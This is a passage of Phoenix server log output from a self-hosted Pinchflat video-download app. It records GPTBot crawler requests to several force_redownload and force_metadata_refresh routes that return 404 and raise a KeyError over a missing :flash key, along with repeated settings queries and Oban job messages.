s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:23:09.639 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:23:09.640 [error] #PID<0.10836.0> running PinchflatWeb.Endpoint (connection #PID<0.10835.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10836.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGXFFvjzpgbUEAAhOC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10835.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50528}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10836.0>, params: %{}, path_info: ["sources", "2", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"ac (truncated) 16:23:27.150 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:57.151 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.730 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:24:11.131 [info] GET /sources/1/force_redownload 16:24:11.131 [debug] QUERY OK source="settings" db=0.1ms idle=1178.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:11.131 [debug] QUERY OK source="settings" db=0.0ms idle=767.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:24:11.131 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:24:11.131 [error] #PID<0.10842.0> running PinchflatWeb.Endpoint (connection #PID<0.10841.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/1/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10842.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/1/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGaqKeZK148vAAA-TB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10841.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_redownload", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 36142}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10842.0>, params: %{}, path_info: ["sources", "1", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"ac (truncated) 16:24:27.152 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:57.153 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.730 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:25:14.009 [info] GET /sources/2/force_metadata_refresh 16:25:14.009 [debug] QUERY OK source="settings" db=0.1ms idle=1056.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:14.010 [debug] QUERY OK source="settings" db=0.0ms idle=1057.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:25:14.010 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:25:14.010 [error] #PID<0.10849.0> running PinchflatWeb.Endpoint (connection #PID<0.10848.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10848.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34218}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10849.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/2"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGeUZ3tMiDhDEAA-WB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10848.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34218}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10848.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34218}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/2", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10849.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_head (truncated) 16:25:27.154 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:57.155 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.731 [info] {"source":"oban","duration":131,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:26:17.766 [info] GET /sources/3/force_metadata_refresh 16:26:17.767 [debug] QUERY OK source="settings" db=0.3ms idle=1814.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:17.767 [debug] QUERY OK source="settings" db=0.1ms idle=1268.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:26:17.767 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:26:17.767 [error] #PID<0.10855.0> running PinchflatWeb.Endpoint (connection #PID<0.10854.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10855.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "roku.hartupee.com"}, {"referer", "https://roku.hartupee.com/sources/3"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.227"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-openai-host-hash", "699320017"}, {"x-real-ip", "74.7.243.227"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVGiB6zu1jGv7IAA-ZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 33498}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "roku.hartupee.com", "referer" => "https://roku.hartupee.com/sources/3", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.227", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-openai-host-hash" => "699320017", "x-real-ip" => "74.7.243.227" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: 